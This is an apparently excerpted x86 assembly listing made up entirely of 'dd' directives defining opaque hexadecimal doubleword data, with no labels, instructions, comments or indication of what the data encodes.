		dd 4747516Ch, 0F12B3D66h, 39225EB2h, 3568623Ch,	80DA04B5h
		dd 0ECFCB3B0h, 125CF059h, 0B4B4F192h, 300E0031h, 0FA749F3Bh
		dd 83030D3Fh, 0DC770AC6h, 0D922E8FBh, 0ABCA136Fh, 71F4A282h
		dd 160CB400h, 9D348AE6h, 0C25500E9h, 0DA5603E3h, 51134520h
		dd 0A8E44932h, 2B923D4Ah, 10A86D00h, 0DE29A5A1h, 16BE0700h
		dd 15A6CFFDh, 1023486Eh, 0B284A392h, 95C0304Ch,	0A01CF8E0h
		dd 6E8398CFh, 8A6DA915h, 0EE8882B8h, 0EE14CD72h, 5CFD76A0h
		dd 0D44020E7h, 0A8920135h, 456DAB66h, 160BB4Bh,	5EDF04F2h
		dd 0E0104037h, 0BB4AE468h, 82940Fh, 0FAF39E75h,	53C94ADBh
		dd 4E10087Ch, 0B3FDA3CFh, 48E85C2Bh, 0FDD2E3A0h, 0CECF3A01h
		dd 6E603B5Dh, 52C913D8h, 0ECB2703Dh, 128CA30h, 0C5F971D7h
		dd 222B4398h, 200B0428h, 0DC01B999h, 44D5C937h,	0A5F48380h
		dd 60B824E4h, 5A8CFFACh, 0A7CC889Ah, 0AC663100h, 46C23043h
		dd 1C1B07DAh, 0D4B52B7Dh, 92C08491h, 92330AE4h,	2F890543h
		dd 0E4423A0h, 0A9859FC7h, 8BC887Bh, 0A00E0B1h, 0F5065783h
		dd 1BC601F2h, 0BB3577EFh, 0FE4B60C8h, 2AF1DF3Fh, 8207E044h
		dd 83C53B9Dh, 2BC46049h, 3CD14907h, 5C616B27h, 402310FFh
		dd 915400D7h, 0DD56FAB6h, 0FC079B72h, 0A9B2923Ah, 0E8C7AC00h
		dd 0E253075Ch, 938354DEh, 6813A446h, 0B4203C37h, 4A7E03h
		dd 61A124D6h, 4B72332Ch, 0FA40C496h, 97BA0EE3h,	0E511FC17h
		dd 0D2393780h, 0D97628BCh, 0E0ECFD14h, 103D0EFCh, 2C4251E9h
		dd 0C330FFA2h, 502D2CD8h, 8F467468h, 0EC024703h, 3900290Bh
		dd 0E185ACDDh, 9BA2B8h,	5C98EBB6h, 0F76A33F3h, 0B3051CB0h
		dd 1EE8EFDCh, 3E2964C1h, 5BC8403Ah, 989CCD94h, 0DC2764FAh
		dd 914C977Ah, 0EEAA8146h, 0FCC8BAECh, 5CA70405h, 84F5C4C7h
		dd 279C8C94h, 19D7900Fh, 1F3E4003h, 4208DE1h, 2DCE148Eh
		dd 3D6CB4B5h, 0F8B4BBEEh, 0F83FA300h, 9B76282h,	1628076Dh
		dd 0D6146481h, 0B31C6457h, 2E46FB44h, 8418D2BCh, 0A2DD4B16h
		dd 0CB591660h, 0EAB3A44Fh, 102DC529h, 0E80372Ch, 41590FAFh
		dd 24851780h, 0A7007DFBh, 26FF7967h, 875AFAh, 2175EB6Bh
		dd 48EE8251h, 0FC25CE00h, 169C7FD9h, 0F10400DAh, 0BD7355D3h
		dd 7A302172h, 36710E5h,	2356004Fh, 2CB891B3h, 3A00D06Eh
		dd 20EE6A51h, 0CF3FFDh,	0C9B170C6h, 0FB8360DAh,	9D95EB0Fh
		dd 525920F9h, 18C5EAFh,	1A0812B5h, 70FAFDCDh, 8005F320h
		dd 0CE5A672Dh, 0C064E008h, 2BCDFDF8h, 0B0EC38F5h, 71FDD0F5h
		dd 0DCA20085h, 599C8EC6h, 9D27BDDFh, 0C5482FA0h, 30DBE38Dh
		dd 97FFDC0h, 12003F6Ah,	0DBF03B3Dh, 489CCF84h, 884F10BDh
		dd 400E480h, 78D4EECEh,	46D0D3h, 707144B3h, 0DB3B1934h
		dd 4824DA5Bh, 0A3553CC1h, 48022400h, 971C20B5h,	882C64h
		dd 2E181FDEh, 8F44AD01h, 85794F01h, 3C5ED354h, 0D110F036h
		dd 34F20441h, 0B01C85DDh, 4FF5A372h, 811C85Bh, 25E87BB8h
		dd 0E5215827h, 62FFE444h, 14511Ch, 0A14C4AB7h, 5A78851Ah
		dd 0AA2E680Dh, 2FE03175h, 0BA572CE6h, 0F8465E30h, 0B348406h
		dd 9EF6E94Eh, 9F462400h, 0C2BD8997h, 0FB8BA1Eh,	0B93FDADEh
		dd 324AF879h, 0FFB80038h, 86283647h, 782E0035h,	3765EA4Fh
		dd 637C1320h, 0BB2CA507h, 6270517Fh, 0BCC65EBDh, 77438224h
		dd 0AC91A26Dh, 4B04EA81h, 2DF2C88h, 0C15B766Ch,	0B0F1C427h
		dd 8764BB80h, 9A01C8h, 1B725604h, 0EAF2C8Ch, 6AA33B01h
		dd 76AA9783h, 0A8B4223Ah, 5A055310h, 201C0973h,	0CC11F4C5h
		dd 0FABD685Ch, 5DF2730h, 0D69493DEh, 0F8B26Bh, 8D25B5B9h
		dd 26A9177h, 174C3FBBh,	0D459E2F2h, 40327E00h, 0E9A5D0h
		dd 1FE859B7h, 0EE0E3F99h, 3D08CCB6h, 75E2822Eh,	0C450EB65h
		dd 0A9B7AE1Dh, 85802BEDh, 8CB43C6Ch, 816200FDh,	3936B510h
		dd 9200AA27h, 0EFA52EDCh, 0FCD8CFEDh, 404D0517h, 20394EE3h
		dd 8DA05B9Ch, 3659A40Eh, 0A5DE802Dh, 93224DCh, 44893DA9h
		dd 0E89104EEh, 8CAFFC80h, 7574ECh, 14CF41B9h, 0EEA11219h
		dd 0A9E2720Bh, 4010D18Fh, 798624F8h, 746A9E05h,	0A300E331h
		dd 0DF7AB285h, 1F584AE7h, 28842DD4h, 74CA132Eh,	5100A3DFh
		dd 0E4263A0Fh, 3FD9135Ch, 0C1288571h, 0E843BE04h, 0E0C1427Dh
		dd 8C613735h, 11A520BCh, 0C4A44844h, 85CF6216h,	2024505Eh
		dd 3A2467Eh, 34F4DECAh,	12E9E631h, 1360D8DBh, 30D40824h
		dd 0E83D9D89h, 0FD95B24h, 5FBC6E35h, 0E8513682h, 3B7974F1h
		dd 7EC6918h, 0B1342D01h, 46B788D1h, 6963020h, 3F5EBF84h
		dd 849C3135h, 0E30A0807h, 7C1022C5h, 173125CCh,	80BB91D8h
		dd 90414019h, 0C3823D1Ah, 39F6F200h, 547F7472h,	0B420DC4Eh
		dd 4C370Bh, 0BBB26838h,	2A87F6Bh, 59267DF4h, 4DE8821h
		dd 0AABD1319h, 0F3171F8Eh, 0EB070E4h, 73713D86h, 1E334780h
		dd 5F0EFBA1h, 33952729h, 87E2F8F2h, 0ADC0C531h,	0B6DB0027h
		dd 302E8967h, 0E1C0B339h, 9B147BC1h, 6A011C36h,	8108753h
		dd 0EE09D04Dh, 0C10C1DCFh, 3166AFA8h, 512927B3h, 0CFDC20E8h
		dd 0A8F8C826h, 98C42Dh,	0B453BB66h, 0EF7712E7h,	1C244A00h
		dd 0A6262F86h, 0A3A4E688h, 8CC91CACh, 7E80BF7Ah, 683E29C5h
		dd 762FC478h, 4AA898ABh, 0A40C04BFh, 0FD5229F0h, 205E12D8h
		dd 4CA00825h, 0A9E31B82h, 80E2A174h, 0F300D852h, 8ED9562Dh
		dd 48325122h, 14042CE0h, 0C83CA163h, 5E006710h,	0DA4E2513h
		dd 7E5FF1Ah, 4428F77Ch,	97659027h, 5404F419h, 1FB8CD3Fh
		dd 5680C484h, 4CD5CF4Bh, 461D8CF5h, 0C030D6DFh,	2459E364h
		dd 3CA75318h, 5C22F321h, 0BA2D942Fh, 0FF11CC17h, 8482C689h
		dd 900A29FEh, 96F97284h, 0DA7C5CC2h, 544E0014h,	0F2DBCC94h
		dd 26159DF3h, 2DAC83CAh, 5B1CE80Bh, 2DF017Eh, 2B317134h
		dd 1B5DDC76h, 35C59801h, 8559EE5Ah, 0F918356Ah,	0AAF4A918h
		dd 5DF430F2h, 0BA087849h, 88163C00h, 5709BF19h,	13C517ACh
		dd 0AFF809FEh, 44E42045h, 0AB5DE660h, 4FA13D13h, 0CEBD5845h
		dd 62C388FCh, 7CA887F7h, 480367FDh, 0D972E3E9h,	0C4495857h
		dd 0B9D1080Bh, 787A3CC8h, 54542980h, 9DCC4F6h, 0E0EB213Fh
		dd 0F4E0E48Eh, 5CD59FA8h, 0E840B124h, 4169B460h, 0CCD2003Fh
		dd 0AC75DBAEh, 1709FFB2h, 0A0BC5F0Bh, 732D5370h, 48009739h
		dd 0A42C7D1Ah, 4F75E304h, 740430Ah, 0B7693D3Ch,	0EFF5A200h
		dd 0B09864DBh, 316518B5h, 0A7FBB040h, 0A5753A38h, 0B6206387h
		dd 37DA1388h, 0B0E857D5h, 9D161A84h, 0ACC3C065h, 0C320E8EEh
		dd 82C9CE5h, 0AB129A95h, 69857404h, 0C7D34E01h,	0C4D075CCh
		dd 833D57E0h, 0C5B0D44Bh, 0D987F207h, 2CE21771h, 0D6A0FC95h
		dd 94E98E00h, 1D79B5C1h, 0BCA00685h, 0D01E4F40h, 68E08300h
		dd 0FFC12044h, 15170045h, 0B51A5147h, 99680D6Dh, 0C509D0B8h
		dd 5990E8A2h, 945B8054h, 43149D09h, 3F05A35h, 0F8F165E0h
		dd 9CAF53E3h, 0BBE82369h, 0C8C65E2Fh, 5C9F5B98h, 0EC807439h
		dd 0C4E15F9Eh, 76695507h, 1819296Eh, 51CCCF10h,	0A03AB81Ch
		dd 67122D5Dh, 5822D9AAh, 6CD208h, 468DBC66h, 29B8C35Dh
		dd 985FCA00h, 20B0AC77h
		dd 8358177Ch, 0B3009CF4h, 30A00D00h, 0E195A9B2h, 96B7106h
		dd 55A569F9h, 17052C82h, 4675E81Bh, 8BFE5FD9h, 0F1B20B0Ch
		dd 83DCC975h, 5BE4413Bh, 3230A52Bh, 5470405Ch, 0F1333Eh
		dd 0D99C14F2h, 0D4A53736h, 4B8B58F1h, 366F7010h, 548C6300h
		dd 572FD689h, 0C441CBCh, 35C94h, 0B4DA7611h, 0FD54DD75h
		dd 4414DBD4h, 1D87E72h,	612D54CCh, 0B428C3AAh, 6560C188h
		dd 18E2CC7h, 0B30436F5h, 504A8757h, 714742DCh, 98C81F26h
		dd 2C239D85h, 48376088h, 48C27C21h, 2043163Fh, 410598DBh
		dd 6135EE07h, 3BF258B2h, 7A9DA033h, 0B86112CBh,	0BD2CD0F1h
		dd 765CC0A6h, 0B05C00F7h, 0AE2E5BA7h, 88F80E09h, 0CF2ABDE1h
		dd 8EEB0E70h, 0AA0B20E8h, 2658C8B4h, 0B6BD1A54h, 5C5111A2h
		dd 9C218700h, 474562h, 0A85339C7h, 0EE657E75h, 0D21C1612h
		dd 612FEC04h, 0BDA4041Dh, 7CC489C3h, 94095AFCh,	4C54100Bh
		dd 9F013C8Eh, 3031EF00h, 0FDDBE55Eh, 0C2280801h, 0CC48ED82h
		dd 2F5A8478h, 7E62344h,	52256EDFh, 5476AAh, 0AC095096h
		dd 72AC815Eh, 0C04967D3h, 88F1C820h, 0AB24A6ECh, 0A864941Dh
		dd 634FBA40h, 3604837Bh, 3A9CAEBh, 16D7ECC1h, 0CD3CA840h
		dd 8E635EE7h, 0C086C8A8h, 4918FDB3h, 8D53CB04h,	20C2E227h
		dd 0F3284148h, 54F19C21h, 235C3A3Eh, 13CA0347h,	0BFD0066Eh
		dd 6F980140h, 0C7D95A04h, 70C0A0FCh, 41D12080h,	0CF9760B3h
		dd 98812928h, 0E6A9605h, 9A86FAC2h, 86F10079h, 0C78549F6h
		dd 0BD0098CBh, 0A804223Fh, 89EF18h, 0A41F7C23h,	591EEB3Ah
		dd 0AA4F68F4h, 9577422h, 0B0481884h, 30160B90h,	98224A39h
		dd 25D4F473h, 0ED910C17h, 0AD842980h, 7D0EC4A9h, 0D2BDB6F3h
		dd 0D7210CB2h, 0F2B7AA09h, 2B0B0DCh, 66EBE01Ah,	0C08F36FFh
		dd 7A86E12Bh, 179530A5h, 80F39180h, 610C8D3Bh, 34F90D14h
		dd 0D0F0A49Dh, 0AE12A848h, 382016DFh, 49552380h, 0C04CA824h
		dd 3139F10h, 0DF1CD28h,	731910BEh, 0F35D8412h, 8416B21h
		dd 1403E945h, 1003E9h, 3C2081A3h, 0D432AF47h, 0B882BEF9h
		dd 6C610D7Fh, 19800CABh, 0F8FE8251h, 8FD18D1h, 9ED97A75h
		dd 0B6400AC4h, 0DD537585h, 0C00D5201h, 54508171h, 0D63E1FE0h
		dd 0C8F0CB88h, 0F885C046h, 3C03A76Fh, 597B9FA2h, 80B082E7h
		dd 0A5C3A6A8h, 0E6444A76h, 21FE0B8h, 0FA460105h, 25E81B06h
		dd 1477E054h, 9725F090h, 0BE0024A9h, 9884CCEh, 908768CAh
		dd 822B6E4Ah, 6A7BDDD8h, 85348920h, 9CF8461Ch, 8CEDBCh
		dd 0B742785Fh, 0EBDE2FCBh, 0F9C74809h, 430001FCh, 406A0B51h
		dd 0A24C0510h, 7550D184h, 74004688h, 48F75971h,	0D4C83743h
		dd 0B700FF59h, 55C6355Eh, 4B2C1B23h, 470828B5h,	80751DF4h
		dd 0A87A359Ah, 0D3019DBEh, 0B23EA1AFh, 0ABE085C7h, 33290F9Bh
		dd 2EA1F2BAh, 80A7F71Bh, 69212008h, 0B029B15Ah,	36C700B4h
		dd 66BFBD1Fh, 3B033E22h, 8FBE9C46h, 0A9F6B862h,	6A9B0A1h
		dd 2EBDE0B7h, 5E0E10AAh, 0E06373B3h, 75294606h,	43351808h
		dd 7CF99092h, 0ADFBCA0Fh, 25A247E0h, 67133C60h,	29D3125Ah
		dd 3AB08852h, 0C06EBB07h, 0C683A4B8h, 56FF866h,	9DBC249Ah
		dd 24754124h, 0C08C47F9h, 0CA2F8322h, 0DF7440C0h, 0B23E9972h
		dd 4CA97744h, 0B3C830BBh, 5CD01692h, 3ADC62EDh,	1900E994h
		dd 0B22B5085h, 0F809D9F7h, 0DA3DEE59h, 75D00DCh, 0A4D2ED03h
		dd 47E67DE6h, 0F0CD48h,	21DA9185h, 0EA4E61B2h, 64A0A0C7h
		dd 17C07ACh, 4F42C3F4h,	0B249FA65h, 9E0F00D0h, 1AF06EA1h
		dd 23EE0006h, 0DF3E3BA2h, 0E3001740h, 0D04CCCF3h, 64024Eh
		dd 77941C71h, 0F9C3A5ECh, 80DED301h, 4A51DAE6h,	1D900DFh
		dd 623755DCh, 18044FE1h, 40097745h, 0BE6A2C80h,	0E91F1E7Dh
		dd 0EC2C01DDh, 69233C0Ah, 0CFAA1744h, 7BA99891h, 95FC407Eh
		dd 49E82EC3h, 21A44B30h, 0A7CD53h, 0D396825Ch, 471CD1C7h
		dd 0A46BE203h, 0D87A4B83h, 6672Dh, 84E37326h, 13A7BEC7h
		dd 1F5A3C00h, 2CAA8B6Ah, 4E52011Dh, 4DFE3170h, 5BD1C4FDh
		dd 3532E900h, 7B68AB66h, 0F2FB0043h, 18D01E86h,	0FA002F9Dh
		dd 0AD0BDD58h, 0F1119EB0h, 0C56F1884h, 6376C126h, 1205B9Fh
		dd 0A21C3D2Bh, 5E883B0h, 1D58E8F2h, 3DC17B8h, 2650D93Ch
		dd 0F09F5DB1h, 0C5009048h, 8F84BB42h, 7E17136Fh, 0F1F82119h
		dd 45BF81CCh, 0E814098Bh, 0ECEED15Ah, 0F300A2FCh, 316D4A70h
		dd 0C40A5Eh, 0AD199D13h, 0DD02F771h, 0AC374002h, 8C9C17A9h
		dd 0AB320834h, 1E23F980h, 0F8A0D01Ah, 0C27DA3h,	6FF1B93Dh
		dd 0B27A24FBh, 9858F214h, 4AF7CE8h, 0BDDE5A86h,	0EC440710h
		dd 3DCC21h, 0B9E82795h,	0B4601F03h, 0C95AF253h,	2888991Dh
		dd 42BC2FF0h, 21B28611h, 2EA23FD3h, 42289D22h, 8DF212Bh
		dd 61942C91h, 0BB661128h, 65086B21h, 14D0BA7Ah,	171C44FFh
		dd 78732284h, 0FE206945h, 34933AA0h, 1CEB5807h,	2AA5E0C9h
		dd 0B6006D18h, 93A7F12Bh, 1D10B911h, 80B1DA53h,	447D04Eh
		dd 71000365h, 45DE662Dh, 72BD879h, 0A172E744h, 65BE50A9h
		dd 0BB00E6F2h, 0F0A56629h, 7F5397h, 647E62B1h, 0F8FEE3CFh
		dd 7B6F4C01h, 0FDEF3067h, 0D8E30431h, 0A592FAh,	0C3E0D264h
		dd 0F6F2510Ch, 0A3000D74h, 53A61F15h, 0FE4C8Ch,	0DE9B64AAh
		dd 689FB97Fh, 5F5A2D00h, 29AD604Dh, 0F1C20003h,	0F80DCC32h
		dd 0E600022Ah, 0C3BFBAFAh, 779876A1h, 8303001Ch, 0B6C87E8Ah
		dd 19F6E639h, 27071B90h, 9DDF703Bh, 996FC7D0h, 0AE053AB4h
		dd 88CE1F80h, 0A3981268h, 40227902h, 80AB1BC4h,	17A0CCA4h
		dd 9109277Ah, 0E9011ED6h, 1759097h, 1E6F3E0h, 98682EEAh
		dd 0F4A1C0CFh, 515FD607h, 0B031F0h, 5A195FF6h, 0C6362B16h
		dd 0F4E15F90h, 0E0F96B7h, 0E0E35447h, 2443081Eh, 7590E4Ch
		dd 0E6A076A3h, 16C5EAA9h, 0D3CBD10Eh, 0CC0980B0h, 1D8D203Fh
		dd 807E67D7h, 0AAB8D80Fh, 41020159h, 0A6224863h, 1D2CC062h
		dd 5A4200E2h, 0B67CA48Bh, 54008D92h, 0EBB29B36h, 0AE86F3h
		dd 0DD17DBDh, 0A4BFA219h, 0A7DC920Fh, 0FC6F04E8h, 6574A490h
		dd 536C005Dh, 1A33D583h, 62005667h, 0C711D934h,	86E6DBh
		dd 0CC16D065h, 0B1AE3B1Ch, 0B21E300h, 46E1B4C8h, 561B02A1h
		dd 7EECFE8h, 632E07Dh, 1DFA907Eh, 403BF084h, 2B673ADCh
		dd 80EB2711h, 40626990h, 0EEEE3D34h, 45E31D70h,	0BEE82633h
		dd 3BF95BAEh, 140070C9h, 8BE807C4h, 7890C91Fh, 114BD100h
		dd 8D2C94DBh, 0B6480323h, 8224363Bh, 39887BB3h,	0C200873Dh
		dd 0BF8DB528h, 32A2DA3h, 7E81C6AFh, 880F1D38h, 817540D0h
		dd 4970E3Ch, 78CC1EBh, 7FCED8h,	78720344h, 8FF81FABh, 4709B900h
		dd 0DF94C5BEh, 84C6129Ah, 0E69B00E1h, 74386671h, 0E3A42207h
		dd 4BE096C1h, 55743FEh,	0DE7D5882h, 0F2BC00A0h,	0FDA53EAAh
		dd 0B5EDB200h, 0A730B40Eh, 0EEB306EBh, 20BCF16Ch, 22009278h
		dd 8CB383Ah, 714E76h, 0CE257515h, 0F346E73h, 0F90004F6h
		dd 4FED3217h, 0BC43DDh,	9D011B79h, 1C3A8F88h, 785F9900h
		dd 40AEA12Ch, 253300B3h, 68E9A274h, 0EC09A31Ah,	80D485A7h
		dd 0F15C4958h, 0EE2B7E4Dh, 89130095h, 8F0253A5h, 2028B2BDh
		dd 55009C7Bh, 3ACC6B7Dh, 0B3FDF9h, 0C1BB8313h, 4EC04107h
		dd 0B2C1002h, 6802489Eh, 16DDD8h, 0DCA0B89Ch, 8A90A6B6h
		dd 0EDAE39h, 366D8EC1h,	0F4CE75h, 0CFA9BB10h, 0CB0DF873h
		dd 50F0B6ECh
		dd 0D294CD00h, 6C983277h, 2F8703F9h, 1E040D59h,	6AC34EE0h
		dd 0A7524D60h, 128EB653h, 6854303h, 0E8760A9Ch,	0FC5AC900h
		dd 9D0C427Bh, 6F0F00D5h, 0BC3F7137h, 9F28A14h, 78EE94Ch
		dd 351DFD70h, 0EF795700h, 0EF907C8h, 90427D9Fh,	0D6366C29h
		dd 0FAE8A150h, 3D45B201h, 9E256AF6h, 384CEF0h, 642D83E0h
		dd 92C87CF1h, 9A008AA3h, 5267B1EBh, 7061DF4h, 2D70DEA8h
		dd 13D5C065h, 0FB083F76h, 0CBCD74h, 16C14BF5h, 620E0788h
		dd 0E0A71B28h, 0E43778A1h, 563F0164h, 0DAD1ADCCh, 0D44830F8h
		dd 888FA801h, 0E059A5D6h, 13E2DBECh, 71D2352h, 0F082A2C8h
		dd 0D465E919h, 700FDE7Eh, 60A72A6Ch, 8F90F732h,	22850F0Ah
		dd 838065DBh, 92208CE1h, 0C98B1800h, 0BB93427h,	989862h
		dd 56BFA868h, 0D6E37E11h, 649A6100h, 0C72C5DFFh, 0C8890305h
		dd 676DF3A6h, 7DBAB4F8h, 0D09034F6h, 21394B00h,	0CFF6DCFFh
		dd 0F7DD00AAh, 7892BD98h, 0E23DF4BAh, 0B8E09D6Eh, 1EB4A354h
		dd 874080EEh, 0CFC290C1h, 9C9A00E9h, 0C3ADDFA1h, 8260208Eh
		dd 0FB67620h, 3B0E6h, 6C1189D0h, 0A104B502h, 0E35AA4A8h
		dd 3988C70Ah, 0E104B4D7h, 508CA557h, 28DA00A7h,	8FF5B75Dh
		dd 3B009E21h, 0A654B9FDh, 7BEB833h, 840D5F1Dh, 9C8F90D5h
		dd 98778044h, 0C6009498h, 40C58AC0h, 3BF2A005h,	0E100B8B9h
		dd 0FCF42B4Ch, 0E00E41Bh, 5B3D7ACEh, 3665D94h, 8E952124h
		dd 64D0C747h, 0FF3F4E82h, 0E07D00BFh, 0EE5A3F5Eh, 0E6EA4C28h
		dd 0FDCA0075h, 37A0EB73h, 2A0263DCh, 74926A2Ch,	7C50C0FCh
		dd 0F109854h, 0DF243C2Fh, 20A06E09h, 7FCA4951h,	1EF17641h
		dd 80449AA4h, 0FFC33CA0h, 0C404D6B3h, 0C1C9B80Ch, 46A2BE87h
		dd 0D1CE0EBh, 185B4CFDh, 2D733E01h, 0FCB28837h,	0F30B0E5Eh
		dd 263C15h, 0E462C9DFh,	20314C7Ch, 638D303h, 1A93A4E6h
		dd 0DAD2098h, 6ABB8900h, 0DA713385h, 0E0D63A43h, 76474400h
		dd 0A11AFBFCh, 2C6CD100h, 77A21798h, 3C907634h,	54871BAFh
		dd 0B06D5D15h, 19C871FBh, 0A91EA671h, 6949A4F8h, 9405014Ch
		dd 6AEC16BDh, 0C7BB0918h, 48803E80h, 9274CF56h,	1E00A071h
		dd 62B08EC2h, 69D290h, 0B8C9A51Bh, 6EF59E60h, 48BF5100h
		dd 0D781B485h, 666400A8h, 69B7847Ch, 0F54896D5h, 0EA43005Fh
		dd 982CC74h, 0DEBF00D6h, 0B4EEA288h, 0EF00B9A9h, 26ECF615h
		dd 3A8F12B5h, 6E004A84h, 61DA76E2h, 9EE24E47h, 0A4DE8600h
		dd 83D415C0h, 0F2090091h, 514941ABh, 1E0FF1E9h,	602DBED7h
		dd 0A235DF7Bh, 68A9036Eh, 0CA89E5A5h, 0F13388A0h, 0C78A7900h
		dd 0DFAA30F0h, 0EFA0995Ch, 0A62D10C0h, 0B70037FEh, 723A9115h
		dd 166DCFC5h, 16F03C31h, 665500C8h, 6EAFC0C9h, 700B378h
		dd 0ACC2A79Dh, 771B26Bh, 0D1A59ADEh, 8BC49021h,	7605DACBh
		dd 0C3C2E033h, 8ED9BA00h, 47E631h, 2482B6E3h, 68195260h
		dd 2B0C9400h, 8679B858h, 39363FE0h, 30137A03h, 27F9D3F8h
		dd 4350716Dh, 25C8A6D6h, 230E92C1h, 0A0E27810h,	6D7085C2h
		dd 0CB840315h, 0C75CC5AEh, 905AEFB0h, 980014E2h, 936B3BFh
		dd 3C26A42Ah, 0BE02EACAh, 7AF81ABBh, 0C88EC0E0h, 9D22873Eh
		dd 0E2967D71h, 0C314000h, 2E986915h, 969CF4D4h,	2798309Bh
		dd 0A0BA5952h, 3998A51Dh, 3A4BDE41h, 0ACE3B8BCh, 657BCC0h
		dd 0CC1A00DBh, 0B272B94Ah, 33F42B61h, 3F00BB78h, 0DA2C118Bh
		dd 954749h, 5F64E676h, 0B22E9B01h, 0ECD583Dh, 0C3ADF90h
		dd 2E13588Ch, 1907B17h,	0F0341470h, 1588702Eh, 20F37926h
		dd 0DAABE307h, 0E28097D4h, 19DA04Dh, 156E8E1Eh,	20DB2493h
		dd 0B1008C74h, 4CEA1A98h, 4FB88B27h, 5D5DE022h,	51F6367Ah
		dd 72380360h, 3DCACF28h, 683B2FEDh, 899570E0h, 0D008123h
		dd 0A3D8223Eh, 94173C50h, 0C8EB0068h, 198CE49Eh, 7AB0440Bh
		dd 12208048h, 0EC5574h,	0F82CE7Fh, 7570E16Ch, 655A7900h
		dd 0A7A004DEh, 5DDF03A9h, 13EF1561h, 341C4FB1h,	0DD002034h
		dd 0FD40CAC2h, 7FA529h,	19114307h, 0A8F462F9h, 0A6226A02h
		dd 41309A12h, 2BF0CEF8h, 28FA07E8h, 40C8F5E5h, 11FCEE29h
		dd 0F00CD200h, 0FFF7E770h, 36791E86h, 0CE1B00F2h, 0EACC1D12h
		dd 0DE7C3300h, 0ED1EE031h, 64201075h, 51CA00E8h, 1553F8D2h
		dd 0F4300BFh, 1DB56C4Fh, 0EE00F27Bh, 993E61B0h,	0BA4DAFA5h
		dd 0BC3C01A8h, 377A63C1h, 56EBCC6Dh, 91527304h,	88182DCh
		dd 22E4C7F5h, 68B57ABBh, 91FCCC3Ah, 9D0A1E8Dh, 2DED340h
		dd 7D9273BFh, 30E20204h, 136D1675h, 1935D082h, 9E4CCDE0h
		dd 0B9EC7050h, 0D3FB4A00h, 6EA4FFCFh, 1FBC7940h, 40316741h
		dd 20703D60h, 0F2003E3Ch, 0F0CE27CFh, 5BA4964h,	0BD11AF2Bh
		dd 0E0848766h, 62E23506h, 9E348B3Bh, 18C0F82Eh,	648AA9A0h
		dd 0BAAA01ACh, 0F0C47763h, 55B8E406h, 475A431Eh, 405944CEh
		dd 9699627h, 0DA7C004Fh, 3C12E001h, 71009CB9h, 0D9CD1ED4h
		dd 9F6ECBh, 0C310EE33h,	9E69E972h, 4209B69h, 0F4818103h
		dd 68FCAE56h, 749F4CE4h, 0DBACE101h, 0FFF0E276h, 6009A6D1h
		dd 0DD006D60h, 0D7C25839h, 0E4229362h, 0F247F4E7h, 0F6B800D0h
		dd 0BEAEF936h, 0D51407B0h, 0C0B8897Ch, 4B33E56Ch, 1FA675C9h
		dd 475D8F81h, 10D21C6Fh, 10E7BC25h, 94A96B04h, 2CC4A2D6h
		dd 6F28FCC1h, 320D7CCh,	5E7CAEA8h, 0A1A8DC33h, 2C0B064Dh
		dd 74A3F70h, 38E30DD0h,	4B8A00F9h, 8AFE7916h, 0B2009CFDh
		dd 59A85C0Fh, 118B4h, 0BBE404CAh, 3638F769h, 3565A600h
		dd 8D2C5C3Fh, 974300E7h, 0AD68FAE2h, 44005F42h,	49479B10h
		dd 7132D6h, 0C6637374h,	7E37DA8Ch, 0BA83AC16h, 51FE3B00h
		dd 7D553E1Dh, 3460014h,	0A0F16BE1h, 99007571h, 0BEBAACFAh
		dd 757AE305h, 334E8E7h,	0A3563C23h, 0A6E12A35h,	0A2BC2039h
		dd 0B60068FEh, 0A86ABCA4h, 33654BAh, 275586AAh,	24E0A1C1h
		dd 4209B9C0h, 0D7B383B5h, 817C5980h, 0D8006AB8h, 796553AFh
		dd 12D95987h, 0A7C7A3h,	0EEB536BCh, 57125FF8h, 784E0B75h
		dd 0D9EC6033h, 9AC7CB31h, 0A08F00CCh, 0C401A2BCh, 0FA009D92h
		dd 9D1DA30h, 24E6483h, 0EC8EC351h, 6C525665h, 0F8B68700h
		dd 0BF224875h, 7A51167Dh, 4CFA0055h, 6B505785h,	0A0E4F907h
		dd 0A6A01FF6h, 7EC38B5h, 2FB1EBC5h, 0FCA02E22h,	43321926h
		dd 0E214CD03h, 0E172A669h, 0C7ECE868h, 90B0C5h,	33C164D7h
		dd 7940B888h, 0DC92D62Ch, 530F1685h, 730B1980h,	0A3C900F7h
		dd 0FAE9A82Ch, 0C403281Bh, 0E425F4DEh, 0CC03D083h, 0B7D31C8Ch
		dd 217A40CBh, 0D66C0B8Fh, 5AA89400h, 7D0A6357h,	0D2E609E1h
		dd 0F78075D7h, 7B8064FDh, 278D1600h, 47D65B56h,	9B6F01A1h
		dd 0B5D5C4Ch, 0C892F09Eh, 9F7B9D05h, 8481A43Bh,	9435347Ah
		dd 1D1F14F4h, 0DE58E83Ah, 0A09B25EDh, 0D5082A00h, 270E4FAFh
		dd 3E1F00E0h, 0D42A420h, 1D0DEE3Fh, 0F0BDBF73h,	22ED0C60h
		dd 0C94D483Bh, 26690034h, 6BC1DBB0h, 2C8D012Fh,	0ACA5AF2Ah
		dd 0FCC1E629h, 0C07BF5CEh, 520083E7h, 0C80AEF7Eh, 3DB2ABCCh
		dd 801669B5h, 0D088874Bh, 0F01456D2h, 953EB81Fh, 6D63DA40h
		dd 32B0493h, 0B7A0C350h, 0B5D0F170h, 60085D7h, 0DCCA3655h
		dd 0D53D23h, 6CE24992h,	0D39E9C30h, 0E9880A00h,	58659A33h
		dd 66F90732h, 0CF8DC2ABh, 67757760h, 9AF22036h,	0EEF3D00h
		dd 8EAD732h, 13C90089h,	43656FE6h, 0C0090473h, 0E07C346Eh
		dd 191D688h, 6F810CC4h
		dd 0C4C70EADh, 8300E2DAh, 3EF26A60h, 0F8A89Ch, 82EC619Eh
		dd 34E70B5Ch, 0EF238400h, 1A7E409Dh, 21F20133h,	0C2E9BE88h
		dd 59B44030h, 24B9DBA8h, 35C91900h, 0F61804Bh, 0B2D5D9AFh
		dd 94FC4500h, 66280EC1h, 5316B9B7h, 0D833F306h,	3859F814h
		dd 54070013h, 91D1CF05h, 0D000492Ah, 0FE8660B1h, 2CA95BE1h
		dd 141D759h, 9EC56881h,	0DC1FC440h, 804A1338h, 231EB131h
		dd 0F81666h, 0E7518436h, 2F343EB3h, 46A5BD00h, 32CCACBEh
		dd 0D2D300C0h, 9972FC57h, 903EBDAh, 21FEA1Bh, 1762E8BCh
		dd 0CD5E0FC0h, 0F6425FA8h, 0BA41E7FCh, 0CF2701Fh, 0DCBFE40Fh
		dd 0FF24A3ACh, 898688CAh, 28D90275h, 0BCBBA088h, 4DF3F8E8h
